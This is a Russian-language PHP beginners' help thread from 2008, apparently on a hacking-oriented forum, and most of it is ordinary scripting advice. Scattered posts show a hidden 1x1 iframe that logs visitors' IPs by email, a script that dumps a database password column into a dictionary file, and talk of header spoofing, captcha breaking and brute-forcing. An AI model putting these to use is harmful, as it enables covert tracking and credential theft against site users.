Просмотр полной версии : [php] Новичкам: задаем вопросы
2U4eba
может вот так можно:
define ("text","tvoy.htm");
$f=fopen(text,"r");
$st="";
while(!feof($f)){
$st .= fgetss($f);
}
fclose($f);
echo $st;
?>
т.е. урезали весь мусор, дальше через регулярные выражения, находим нужный нам текст, твой разный текст каким критериям должен отвечать?
xaker-boss
11.01.2008, 12:25
Ребята помогите селать один скрипт на php.
Ну чтобы открываеш страничку и там была окошко когда в него в водиш текст и нажимаеш на кнопку ОК то этот текст сохраняется в текстовый документ лежащий рядом с этим скриптом.Плиз если нетрудно
Посидел подумал... и написал..
<?
$do=file_get_contents("do.htm");
$ce=file_get_contents("ce.htm");
$po=file_get_contents("po.htm");
$subject=file_get_contents("document.htm");
$matches=preg_replace("/^(".$do.")/i","","".$subject."");
$matches2=preg_replace("/(".$ce.")/i","<br>","".$matches."");
$matches3=preg_replace("/(".$po.")$/i","","".$matches2."");
echo $matches3."<br>";
?>
де в document.htm, текст <u>AAA</u> admin:1234567 <u>ZZZ</u><u>AAA</u> alexs:1234567 <u>ZZZ</u><u>AAA</u> users:password <u>ZZZ</u>
де в do.htm, текст <u>AAA<\/u>
де в ce.htm, текст <u>ZZZ<\/u><u>AAA<\/u>
де в po.htm, текст <u>ZZZ<\/u>
Вроде все отличто только когда дело приходит к большым документам то тогда неработает, что нужно зделать.??я вроде открыл документы в одной строке file_get_contents
xaker-boss2
Права нужно будет на *.тхт поставить 777, ето для начала
<?php
$fp=fopen("text.txt", "a+");
while(!feof($fp)){
$z=fgets($fp,1000);
echo $z;
}
fwrite($fp,"".$_POST['text']."");
fclose($fp);
?>
<form method="POST">
<input type=text name="text">
<input type="submit" value="Відправити">
</form>
Походу должно работать ... можно ищо доделать htmlspecialchars для обхода хсс
у меня апач, и народ как сделать чтобы вот я закинул файл в диру сайта(локалка) и чтобы юзеры могли качать его?
xaker-boss
11.01.2008, 12:53
а как сделать чтобы он в фаил записывал в таком формате
2
2
3
3
черес строчку?и ещё там когда второй рас добовляеш он показывает прям в скрипте что добавили первый рас можно какнебуть от этого избавится?
В скрипте замени
fwrite($fp,"".$_POST['text']."");
на
fwrite($fp,"".$_POST['text']."\n");
и убери это
while(!feof($fp)){
$z=fgets($fp,1000);
echo $z;
}
dinar_007
11.01.2008, 13:03
у меня апач, и народ как сделать чтобы вот я закинул файл в диру сайта(локалка) и чтобы юзеры могли качать его?
XopoIII, если ты учиться ничему не хочешь, то будь добр, научись хотя-бы вопросы правильно задавть!!! Конкретнее будь...
Сделай ftp и будут юзеры твой файл оттуда качать...
Exlibris
11.01.2008, 14:10
XopoIII ты хочешь, чтобы люди у тебя в локалке вводили в браузере твой ip и попадали к тебе на апатч?
XopoIII, если ты учиться ничему не хочешь, то будь добр, научись хотя-бы вопросы правильно задавть!!! Конкретнее будь...
Сделай ftp и будут юзеры твой файл оттуда качать...
я задаю вопрос нормально, я хочу без фтп, это реально нет?
XopoIII ты хочешь, чтобы люди у тебя в локалке вводили в браузере твой ip и попадали к тебе на апатч?
нет, чтобы они зайдя на сайт заходили в раздел файлы и оттуда качали файлы
Exlibris
11.01.2008, 15:14
нет, чтобы они зайдя на сайт заходили в раздел файлы и оттуда качали файлы
на самом деле если хочешь чтоб тебе помогли то говори точнее, сайт где буедт? на твоем компе и его должны смотреть только юзеры из твоей сети?
Или сайт в инете и его должны смотреть все?
можно ищо доделать htmlspecialchars для обхода хсс
Ну да XSS в TXT файле =\\
2XopoIII они должны вводить в строку адреса http://твой ИП/ Это будет Apache/htdocs/
бул это все понятно сервак стоит и сайт висит, все рабоатет, размещен на локалке.
Exlibris
11.01.2008, 15:58
XopoIII правь файл C:\WINDOWS\system32\drivers\etc\hosts
в нем там в низу замени
127.0.0.1 www.yousite.ru
--
а еще лучше вместо 127.0.0.1 пропиши свой внутренний ip (тот который в лакалке)
bul.6662
а что разве можно пхп обробляэца в тхт файле.?
там же есть код который читает тхт и отображает его даные, а если в етом тхт присуствует хсс тогда она будет работать =\\\и для того чтоб неработала и можно поставить фильтер htmlspecialchars
bul.666 =)
как реализовать перебор (открытие на чтение, например) всех файлов в данной папке?
<?php
$d=opendir(".");
while (($filo=readdir($d))!==false)
{
if ($filo=='.' || $filo=='..' || is_dir($filo)) continue;
$spisok[$filo]=file_get_contents($filo);
}
?>
в ассоциативном массиве $spisok будут элементы с ключами равными именам файлов и со значениями содержания этих файлов, причем только файлов (не папок)
xaker-boss
12.01.2008, 11:56
Люди кому нетрудно подскажите скрипт, чтобы когда его запускаеш рядом лежащия картинка например 123.gif становилась его фонам.
<body background="<?=$_POST['name_img']?>">
<form method="POST">
name img:<input type="text" name="name_img" value="img.jpg">
<input type="submit">
</form>
Можно зделать выборку img з БД или масива..
Люди кому нетрудно подскажите скрипт, чтобы когда его запускаеш рядом лежащия картинка например 123.gif становилась его фонам.
В смысле, чтобы скрипт сканировал директорию на предмет картинки и выводил бы первую попавшуюся как фон?
<?
$dir=opendir('.');
while(($file=readdir($dir))!==false)
{
if(preg_match('/\.jpg$/i',$file)){echo('<body background="'.$file.'">');break;}
}
?>
inlanger
12.01.2008, 15:56
Можно как-то изменить значение стандартных переменных Php? Например те, которые отвечают за тип браузера и твой Ip?
Можно как-то изменить значение стандартных переменных Php? Например те, которые отвечают за тип браузера и твой Ip?
Снаружи - при register_globals on иногда можно, но не все. Изнутри можно, по моему тоже не все
inlanger
12.01.2008, 16:10
А подробнее можно? Мне надо "перейтипо ссылке" именно с определённого браузера и определённого диапозона Ip. Но Ip, допустим, у меня есть. Как хотя-бы браузер подделать?
А подробнее можно? Мне надо "перейтипо ссылке" именно с определённого браузера и определённого диапозона Ip. Но Ip, допустим, у меня есть. Как хотя-бы браузер подделать?
Браузер подделать очень просто - подменить User Agent
inlanger
12.01.2008, 16:42
Ладно, его подменим... А Ip рельно?
inlanger
12.01.2008, 18:04
Хм... Подстановка браузера тож не хочет работать:
пишу
<?php
$site="admex.org";
$request = "GET /login.php?login=inlanger&pass=MYPASS HTTP/1.0\r\n";
$request .= "Host: $site\r\n";
$request .= "Expires: Thu, 01 Jan 1970 00:00:01 GMT\r\n";
$request .= "Cache-Control: no-store, no-cache, must-revalidate\r\n";
$request .= "Pragma: no-cache\r\n";
$request .= "Cookie: income=1\r\n";
$request .= "User-Agent: Opera/8.01 (J2ME/MIDP; Opera Mini/1.2.3214/1684; ru; U; ssr)\r\n";
$request .= "Client-ip: 195.189.142.77\r\n";
$request .= "FORWARDED_FOR: 195.189.142.77\r\n";
$fp2 = fsockopen("$site", 80);
fputs($fp2, $request);
fputs($fp2, "Connection: close\r\n");
fputs($fp2, "\r\n");
while (!feof($fp2)) {
echo fgets($fp2, 128);
}
fclose($fp2);
sleep($time);
?>
А оно мне пишет:
Последний раз вы были на сайте в 16:58:39 / 12-Jan-2008
C ip: 195.24.148.232
C браузера: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 и так постоянно! То есть подмена не происходит?
Вопрос по сокетам. Нужно получить инфу лежащую на страничке, которая закрыта авторизацией.
$fp=fsockopen("xxxyyy.ru",80,$errno,$errstr,10);
$out = "GET /in.php?email=yyyzzz@xxx.ru&pass=12345 HTTP/1.0\r\n";
$out .= "Host: xxxyyy.ru\r\n";
$out .= "User-Agent: Firefox\r\n";
$out .= "Referer: xxxyyy.ru/login.php\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type: text/html; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
авторизация пройдена...
Получаю ответ
HTTP/1.1 302 Found
Server: nginx/0.5.30
Date: Sat, 12 Jan 2008 16:51:21 GMT
Content-Type: text/html; charset=windows-1251
Connection: close
X-Powered-By: PHP/5.2.0-8+etch9
Pragma: no-cache
Cache-control: private, must-revalidate
Set-Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixmid=12345; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixemail=yyyzzz@xxx.ru; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixpass=fc6e3893c5802236c07a70d3da0ddef3; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Location: /index.php
Content-Length: 0
Теперь нужно получить контент
$out = "GET /page.php HTTP/1.0\r\n";
$out .= "Host: xxxyyy.ru\r\n";
$out .= "User-Agent: Firefox\r\n";
$out .= "Referer: xxxyyy.ru\r\n";
$out .= "Content-Type: text/html; charset=windows-1251\r\n\r\n";
fwrite($fp, $out);
$ans='';
while(!feof($fp)) {
$ans.=fgets($fp,128);
}
Получаю ответ
HTTP/1.1 302 Found
Server: nginx/0.5.30
Date: Sat, 12 Jan 2008 16:51:21 GMT
Content-Type: text/html; charset=windows-1251
Connection: close
X-Powered-By: PHP/5.1.0-8+etch9
Pragma: no-cache
Cache-control: private, must-revalidate
Set-Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Location: login.php
Content-Length: 0
Вопрос : как "сохранить" авторизацию?
Те куки, которые тебе передаются ответом, вставляй в следующий запрос
Если ответ 302 Found, то значит, что страница не получена.
Всем привет, как можно заменить этот код
<?php
$ip = getenv ("REMOTE_ADDR");
mail("*****@yandex.ru", "ОК", "$ip")
?>
Раньше он работал, а сейчас вместо IP юзера получаю IP сервера на котором это дело висит(agava.net), сервер сменить не могу, админам наверное тоже лучше не писать.
Временно добавил строчку
<iframe src='http://www.HOST.info/' width='1' height='1' style='visibility: hidden;'></iframe>, на "HOST.info" повесил выше изложенный код, работает, а без подобных извращений больше никак нельзя?
Всем привет, как можно заменить этот код
<?php
$ip = getenv ("REMOTE_ADDR");
mail("*****@yandex.ru", "ОК", "$ip")
?>
Раньше он работал, а сейчас вместо IP юзера получаю IP сервера на котором это дело висит(agava.net), сервер сменить не могу, админам наверное тоже лучше не писать.
Временно добавил строчку
<iframe src='http://www.HOST.info/' width='1' height='1' style='visibility: hidden;'></iframe>, на "HOST.info" повесил выше изложенный код, работает, а без подобных извращений больше никак нельзя?
Если версия PHP > 5, то рекомендую юзать $ip = $_SERVER["HTTP_X_REAL_IP"], ну а вообще не должен отправлять IP серва.
Macro, Вставил, не выходит
Отправляю кукисы
Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixmid=12345; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixemail=yyyzzz@xxx.ru; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixpass=fc6e3893c5802236c07a70d3da0ddef3; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
preg_match("/revalidate(.*?)Location/is", $ans, $cookies);
$cookies = str_replace("Set-", "",$cookies[1]);
$fp=fsockopen("xxxyyy.ru",80,$errno,$errstr,10);
$out = "GET /page.php HTTP/1.0\r\n";
$out .= "Host: xxxyyy.ru\r\n";
$out .= "User-Agent: Firefox\r\n";
$out .= "Referer: xxxyyy.ru\r\n";
$out .= $cookies;
$out .= "Content-Type: text/html; charset=windows-1251\r\n\r\n";
fwrite($fp, $out);
$ans='';
while(!feof($fp)) {
$ans.=fgets($fp,128);
}
Правильно ли я их в заголовок вставил?
Если версия PHP > 5, то рекомендую юзать $ip = $_SERVER["HTTP_X_REAL_IP"], ну а вообще не должен отправлять IP серва.
IP вообще не приходит, там PHP 4.3.9
Macro, Вставил, не выходит
Отправляю кукисы
Правильно ли я их в заголовок вставил?
Нет, неправильно, надо их вставить в одной строке, в url encode, разделенные &
Cookie: var1=val1&var2=val2&var3=val3
.:EnoT:.
14.01.2008, 07:39
Что можно сделать если не удаётся установить заголовки перед выводом чего-либо в браузер?
Что можно сделать если не удаётся установить заголовки перед выводом чего-либо в браузер?
Неудаваться может из-за того, что при компиляции кода возникают ошибки и они выводятся до того, как в коде идет header(); Вообще, можно попробовать вставить в начало скрипта error_reporting(0);
.:EnoT:.
14.01.2008, 11:02
Macro, дело не в этом.
дело в том что мне нужно установить куки после выполнения скрипта, но сделать это до вывода в браузер невозможно(таков скрипт). Соответственно куки скрипт установить не может и выдаёт ошибку. Слышал где-то что каким то образом можно установить заголовки после вывода в браузер, но ничего не нагуглив обращаюсь к вам :)
Macro, дело не в этом.
дело в том что мне нужно установить куки после выполнения скрипта, но сделать это до вывода в браузер невозможно(таков скрипт). Соответственно куки скрипт установить не может и выдаёт ошибку. Слышал где-то что каким то образом можно установить заголовки после вывода в браузер, но ничего не нагуглив обращаюсь к вам :)
Можно, с помощью html или javascript
В данном случае лучше с помощью javascript.
<script language=JavaScript>
document.cookie="var=val";
</script>
.:EnoT:.
14.01.2008, 11:20
джава скрипт это первое что пришло на ум)) но если у клиента он выключен в браузере? Буду конечно его использовать в случае если на php ничего не выйдет....
джава скрипт это первое что пришло на ум)) но если у клиента он выключен в браузере? Буду конечно его использовать в случае если на php ничего не выйдет....
На php нельзя отправить куки после отправки содержимого страницы НИКАК
groundhog
14.01.2008, 11:46
Macro, двойка тебе по PHP! Ты про кеширование вывода читал? Про функции ob_start() и подобные ob_*?
Пример:
ob_start()
...
echo "!!!!!";
...
echo "!!!!!";
set_cookie(...);
ob_end_flush();
Macro, двойка тебе по PHP! Ты про кеширование вывода читал? Про функции ob_start() и подобные ob_*?
Пример:
ob_start()
...
echo "!!!!!";
...
echo "!!!!!";
set_cookie(...);
ob_end_flush();
Какая разница-то? Все равно куки передаются в хедере ДО вывода страницы, я про что говорю-то.
.:EnoT:.
14.01.2008, 11:54
groundhog Спасибо. Была мысль про кеширование, но чёт подумал что не пойдёт это...
Не обижай Макро, он хороший :)
у меня есть таблица,как средствами php удалить последний <td> из нее?
groundhog
14.01.2008, 12:08
Макро, ты противоречишь сам себе! Ты написал:
На php нельзя отправить куки после отправки содержимого страницы НИКАК
Функции семейства ob_* гарантируют, что любой вывод будет прокеширован, и что любой хидер пойдёт в вывод ПЕРЕД этим кешем... Следовательно, любой хидер (в том числе и куки) МОЖНО отправить после начала вывода, да и в самом конце тоже можно...
Корвин, по твоему описанию последний TD не выщимешь... Нужен пример кода... А так - используй preg_replace...
Макро, ты противоречишь сам себе!
Функции семейства ob_* гарантируют, что любой вывод будет прокеширован, и что любой хидер пойдёт в вывод ПЕРЕД этим кешем... Следовательно, любой хидер (в том числе и куки) МОЖНО отправить после начала вывода, да и в самом конце тоже можно...
Я себе не противоречу, вывод все равно осуществится в порядке: хедер => контент, иначе никак, именно это я и имел ввиду. А прокешировать можно, честно говоря не вспомнил об этом.
.:EnoT:.
14.01.2008, 12:13
у меня есть таблица,как средствами php удалить последний <td> из нее?
ты это имеешь ввиду так?
$td = "<table><tr><td>......</td></tr>";
$td = str_replace("</td>"," ", $td);
echo "$td";
А, сори, этот скрипт будет удалять все </td>, не то...
.:EnoT:., да?
А если
$td = '<table><tr><td>......</td><td>.......</td></tr></table>';
Теперь твой код удалить последний </td> ?
нет,так удаляца все </td> из кода,а мне нужно вот так:
<table>
<tr>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd1</td>
</tr>
<tr>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd2</td>
</tr>
</table>
<td>asd1</td> и <td>asd2</td> в столбиках нада удалить
.:EnoT:.
14.01.2008, 12:24
Isis
я же выше отредактировал сообщение и написал что я ошибся, за 2 минуты до твоего поста :)
я кароч нашол выход))) спасибо еноту, навел на мысль, я заменил везде
<td>asd1</td>
на
<td style="display:none">asd1</td>
cyber_rat
15.01.2008, 04:16
Здравствуйте. Есть несколько вопросов - буду очен рад помощи.
1. Есть некая страница с формой. Данные с формы в обработчик отправляются методом Post из-за чего я незнаю как формируется запрос к обработчику.
Вопрос: Как узнать и сформировать запрос для отправки неких данных из своего скрипта обработчику формы на этой странице?
2. Информацию о чтении капчи надеюсь найти и надеюсь научиться распознавать простые капчи. А вот как извлечь картинку со страницы для последующего распознавания, если она генерируется скриптом ?
Спасибо за внимание. Надеюсь на толковую помощь.
1. Чет не понял. Тебе нужно пример http заголовка написать? Или ты пишешь скрипт, но не знаешь как POST запросы обрабатывать?
2. Ну надо найти в соцах <img src=catpth.gif> Или captch.php Вот c этим уже работать...
cyber_rat
15.01.2008, 04:41
Мне нужно отправить некоторые данные обработчику той страницы с формой, но я незнаю как сформировать сам запрос.
Можно:
1. Составить такуюже форму и отправить её обработчику
2. Можно составить http пакет
cyber_rat
15.01.2008, 05:24
Как проделать второе ?
вот идут две выборки из бд
$opit='SELECT * FROM sh_savexp ORDER BY XP DESC';
$opit1=$db->sql_query($opit);
$opit2='SELECT * FROM sh_saveskills';
$opit3=$db->sql_query($opit2);
из первой я выбираю
while($who=mysql_fetch_array($opit1)){
echo "<b>Ник: </b>".$who['PLAYER_NAME']." - <b>ХР:</b> ".$who['XP']." - <b>Уровень:</b> ".$who['SKILL_COUNT']."";
}
все нормально
но проблема, мне нужно из второй выборки вывод данных привязать к выводу первой
в первой таблиуе есть ip уровень опыт, а во второй ip и расса, я вывожу вайлом первую, все нормально, но к этому выводу нужно привезать вывод рассы
вот=( непойму как сделать
из первого вайла выводится приверно
Ник: Smooth Criminal - ХР: 894 - Уровень: 2
нада сравнить ип и вывести после уровня рассу, вот
.:EnoT:.
15.01.2008, 06:35
Мне нужно отправить некоторые данные обработчику той страницы с формой, но я незнаю как сформировать сам запрос.
может я что-то не так понял, но если тебе нужно отправить данные обработчику а в обработчике получить эти данные то всё очень просто:
<?php
#Делаем форму
echo'
<form action method="post">
<input type="text" name="bugaga" />
<input type="submit" name="go" />
</form>';
#Делаем обработчик
if(isset($_POST['go']))
{
#Если нажата кнопка отправить
$bugaga = $_POST['bugaga'];
#Записываем данные из формы в переменную
#......и далее делаем чё хотим
}?>
.:EnoT:.
15.01.2008, 06:43
XopoIII
так делай запрос к двум таблицам сразу...в чём проблема то?))
cyber_rat
15.01.2008, 12:12
Енот, ты немного не так понял. Есть чужой сайт, на нем страница с формой. Мне необходимо написать скрипт, который будет отправлять некоторые данные в эту форму. И я незнаю как это сделать. Если бы после отправки данных URL принимал такой вид: site.ru/form.php?blabla=opera+blublu=IE
то я смог бы сформировать такой запрос, просто подставляя некоторые значения скриптом. А поскольку URL на том сайте всегда "чистенький", данные POST-ом передаются - я незнаю как своим скриптом формировать такой запрос.
.:EnoT:.
15.01.2008, 12:22
Енот, ты немного не так понял. Есть чужой сайт, на нем страница с формой. Мне необходимо написать скрипт, который будет отправлять некоторые данные в эту форму.
Тогда всё очень просто. Берёшь выдираешь фому с того сайта и правишь в ней путь к обработчику на полный урл.
к примеру там форма:
<form action="obrabotchik.php" method="post">
И ты это дело правишь на полный путь к тому сайту:
<form action="http://site.ru/obrabotchik.php" method="post">
плюс если скрипт лежит в дериктории какой-нибудь то указывай её тоже)
С капчёй нужно смотреть конкретно что за капча, выложи или ссылку дай. А вообще обратись к Nomer1 он лучше знает про взлом капчи :)
cyber_rat
15.01.2008, 12:41
А что мне толку от того, что я подделаю форму, если я программно хочу данные ей передавать ?
.:EnoT:.
15.01.2008, 13:12
А что мне толку от того, что я подделаю форму, если я программно хочу данные ей передавать ?
ну дык ты со своего сайта отправишь данные в обработчик формы нужного тебе сайта....всё в точности что ты описал
2cyber_rat
Вот формат пост-запроса, отправляй его на сервер через сокет:
POST /scriptname.php HTTP/1.1
Host: yoursite.com
Content-Length: 12
var=val&a=bc
Content-Length - длина тела запроса (var=val&a=bc)
cyber_cat,
понятный мануал http://php.su/articles/?cat=protocols&page=002
ps вопрос пицотмилионный=)
Скажите: можно ли создать анимацию средствами Php?
Если да, то напишите пожалуйста по подробнее.
-=lebed=-
16.01.2008, 02:03
Написал функцию выдирающую запись из одной колонки (passwd) и скрипт, который записывает пассы в файл:
function get_pass($id)
{
global $db_table;
$query = "SELECT `passwd` from ".$db_table." WHERE `passwd` IS NOT NULL limit ".$id.",1";
$r=mysql_query($query);
$get_pass=mysql_fetch_array($r);
$pass=$get_pass[0];
if ($pass) return $pass;
else return false;
}
скрипт:
<?
include('conf.php');
include('function.php'); //содержит функцию, та что выше
ignore_user_abort(1);
set_time_limit(0);
$fd = fopen("./pass/dict.txt", "w");
$id = 0;
$pass =1;
while($pass)
{
$pass=get_pass($id);
fputs($fd, $pass."\r\n");
$id++;
sleep(0.1);
}
$id--;
echo "в файл выгружено: ".$id." паролей <br>";
fclose($fd);
?>
Вообщем дампится только 4348 паролей (хотя их в базе больше) думал трабла в set_time_limit (установлена хостером и изм. нельзя) поэтому пробовал sleep(0.1) ставить - всё равно паролей выгружается ровно 4348. В чём трабла может быть?
ЗЫ подозреваю, что надо экранировать спецсимволы, которые могут встретиться в пассе так?
Судя по всему, ограничение на количество запросов к мускулу на соединение. Делай выборку из базы большими партиями или вообще все сразу.
-=lebed=-
16.01.2008, 02:12
Судя по всему, ограничение на количество запросов к мускулу на соединение. Делай выборку из базы большими партиями или вообще все сразу.
в массив пачками, а по сколько оптимально? записей около 220К
По 150-200 записей выбирай, можно больше
впринципе по 1К можно, должно нормально работать/
-=lebed=-
16.01.2008, 02:35
впринципе по 1К можно, должно нормально работать/
А массив в качестве результата функции можно вернуть в php?
ой, я правда пшп не знаю
Попробуй в цикл запихнуть функцю mysql_fetch_array
вобщем что то типа этого на перле
while (@array = $sth->FetchRow()) {
foreach $i (@array) {
print "$i\n";
}
}
т е записываешь результат функции в массив и выводишь по одному
в пшп будет
@array = mysql_fetch_array($query)
или
while ($result = mysql_fetch_array($query))
-=lebed=-
16.01.2008, 03:08
как массив писать в файл лучше (побыстрее) по элементам? или можно сразу записать?
fwrite($file, implode("\n", $array));
-=lebed=-
16.01.2008, 03:50
fwrite($file, implode("\n", $array));
Вроде получилось! Завтра отпишу результат...
народ подскажите как сделать
есть две таблицы, из одной я вывожу имена , нужно чтобы при нажатии на имя открывалось окно в котором показывался возраст именно этого человека, на которого я нажал, как так сделать.
.:EnoT:.
16.01.2008, 08:32
XopoIII
ну можно попробовать таким образом, но это конечно извращенство:
<?php
$sql = mysql_query("SELECT * FROM `table`");
while($row = mysql_fetch_array($sql))
{
#выводим всё что надо
#делаем ссылку на юзера
echo <a href='page.php?vozrast=".$id."';
}
#Далее если указано id выводим возраст указаного юзера
if(isset($_GET['vozrast']))
{
#выводим возраст указанного юзера
$id = intval($_GET['vozrast']);
$sql = mysql_query(.....);
# и т.д.
}
?>
народ подскажите как сделать
есть две таблицы, из одной я вывожу имена , нужно чтобы при нажатии на имя открывалось окно в котором показывался возраст именно этого человека, на которого я нажал, как так сделать.
<?
if(isset($_GET['name'])) //если нажали на ссылку с именем человека
{
$name=mysql_escape_string($_GET['name']);
$q=mysql_query('SELECT vozrast FROM chels WHERE name=\''.$name.'\'');
echo('<b>Возраст: </b>'.$q); //выводим возраст
}
else //если не нажали, то выводим список человек
{
$q=mysql_query("SELECT name FROM chels");
while($qq=mysql_fetch_array($q))
{
$name=$qq['name'];
echo('<a href="?name='.$name.' target=_blank>'.$name.'</a><br>');
}
}
?>
Так лучше
-=lebed=-
16.01.2008, 14:32
Вообщем сделал так:
// Функция получения 1000 паролей из базы начиная с номера=id
function get_pass($id)
{
global $db_table;
global $id;
$query = "SELECT `passwd` from ".$db_table." WHERE `passwd` IS NOT NULL limit ".$id.",1000";
$r=mysql_query($query);
if($r)
{
while($db_pass = mysql_fetch_array($r))
{
$get_pass[$id]=$db_pass['passwd']."\n";
$id++;
}
}
else
{
echo "<p><b>Error: ".mysql_error()."</b><p>";
$get_pass=false;
}
return $get_pass;
}
Читаем из базы 1000 паролей, начиная с записи $id и возвращаем в виде массива $get_pass (1000 записей)
Вызываем функцию в цикле:
<?
include('conf.php');
include('function.php');
ignore_user_abort(1);
set_time_limit(0);
$fd = fopen("./pass/dict.txt", 'w');
$id = 0;
$pass = array('типа..', 'пароль1', 'пароль2');
while($pass)
{
$pass=get_pass($id);
$string=implode($pass);
fwrite($fd, $string);
// $id=$id+1000; - тут не надо! $id - глобальная!
}
echo "в файл выгружено: ".$id." паролей <br>";
fclose($fd);
?>
Выгрузилось реально 115000 паролей, хотя написал что 230000.... хм... попробовать по 2 тыс. выгружать?
Изминил лимит на 2000 пишет:
в файл выгружено: 231756 паролей
Но реально в файле в два раза меньше, где ошибка? :confused:
А понял! не надо второй раз 1000 прибавлять $id глобальная, а так пропуск по 1000 шт. получается, она инкрементится в функции и её значение не сбрасывается... ;)
Щас исправлю... :D
astrologer
16.01.2008, 14:44
Выгрузилось реально 115000 паролей, хотя написал что 230000.... хм... попробовать по 2 тыс. выгружать?
$id увеличивается в этом цикле тысячу раз на единицу:
while($db_pass = mysql_fetch_array($r))
{
$get_pass[$id]=$db_pass['passwd']."\n";
$id++;
} и здесь ещё на тысячу:
while($pass)
{
$pass=get_pass($id);
$string=implode($pass);
fwrite($fd, $string);
$id=$id+1000;
}
P.S. если не делать $id глобальной переменной, должно как надо работать
cylaaaan
16.01.2008, 17:10
привет, помогите плз.
$cr=curl_init("http://site.ru/");
curl_setopt($cr, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
curl_setopt($cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($cr, CURLOPT_TIMEOUT, 20);
curl_setopt($cr, CURLOPT_HEADER, 1);
curl_setopt($cr, CURLOPT_POSTFIELDS, "param=1¶m2=2¶m3=3");
curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cr, CURLOPT_REFERER, "http://MTS-EXpress");
curl_setopt($cr,CURLOPT_PROXY,$proxy);
$r = curl_exec($cr);
curl_close($cr);
echo "$r";
$r = curl_exec($cr);
// это как я понял в переменной он напускает сам пост-запрос.
Но мне нужно, что-то вроде выдиралки... Посылаю пост-запрос, скрипт ищет любое указанное мною слово из полученного html кода по пост-запросу...
на перле выглядит так:
$ua = LWP::UserAgent->new;
my $req = new HTTP::Request POST => "http://site.ru/index.php";
$req->user_agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709); .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)");
$req->content_type("application/x-www-form-urlencoded");
$req->content("a=1&b=1&c=3");
my $res = $ua->request($req);
if ($res->content =~ /ПОИСК УКАЗАННОГО СЛОВА/) { print "да, данное слово есть"; } else { print "нету такого слова"; }
Вот, собственно, как мне этот скрипт на perl переписать на php
groundhog
16.01.2008, 17:31
В PHP есть регуляный поиск... Регулярки такие же как и в Perl'е что тебе мешает им воспользоваться? Вот пример:
preg_match('/(ПОИСК УКАЗАННОГО СЛОВА)/', $matches);
echo $matches[1];
cylaaaan
16.01.2008, 18:46
спасибо, помогло.
$r = curl_exec($cr);
curl_close($cr);
$s = "echo '$r'";
потом условие
if ( preg_match ( "/СЛОВО/i" , "$s" )) {} else {}
Привет! у меня вопрос... я пытаюсь написать брутер
у меня массив
$a = array(a..Z);
И максимальная длина пароля скажем $len = 3
тоесть $a[].$a[].$a[]
как сделать так чтоб например красный сделал полный круг тоесть от "A" до "Z" а зелёного и синего быть не должно .. потом после полного круга к зелёному добавится +1 тоесть из ничего станет
"A" а красный опять сделает полный круг и добавит зелёному ещё +1 и теперь будет "B"(В зелёном)
ну получается как в часах секунды идут быстро минуты медлено а часы ещё медленее
Надеюсь вы меня поняли=)
astrologer
17.01.2008, 02:53
В php так тоже можно<pre>
<?php
$str = 'aaa';
$i = 100;
while($i--)
{
echo $str++, "\n";
}
?>
</pre>
astrologer, это вы мне? если да то я не понел=)
fudzimaro
17.01.2008, 14:05
Привет!
Ребят помогите пожалуйста, есть текст ну скажем на странице banner.html, а мне нужно что б этот текст стал картинкой такое возможно сделать средставми php+GD?
Конечно. Регулярками выдрал текст, засунул в переменную и в картинку...
fudzimaro
17.01.2008, 14:35
дело в том что я в php не совсем силён, может наваяите примерный код если не трудно или ткнёте носом в чтиво какое по сабжу
на стр banner.htm текст всегда разный ибо там выводится результат парсинга другой стр.
з.ы хочу сделать типа динамический банер
У нас телепатов нету. Для начала дай пример файла banner.html. и какой текст нужно выдраить с него
str_replace($prermenaya, "text", "zamena");
fudzimaro
17.01.2008, 15:16
<hr>Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге...<span class=laln>
выдернуть нужно:
Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге
str_replace($prermenaya, "text", "zamena");
Гг вот и неправильно, и вообще не в тему.
mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int $&count ] )
<?php
$a =file_get_contents("http://blablabla.com/banner.html");
preg_match ("#<hr>]*>.*</hr>]*>#isU", $a, $regs);
echo $regs[0];
Пример парсит текст между тегами <hr>text</hr>
Хотя, ты не полный текст дал, может не работать.
lsass.exe
17.01.2008, 15:23
<hr>Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге...<span class=laln>
выдернуть нужно:
$string = "<hr>Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге...<span class=laln>";
$string = strip_tags($string);
----------------------------
<?php
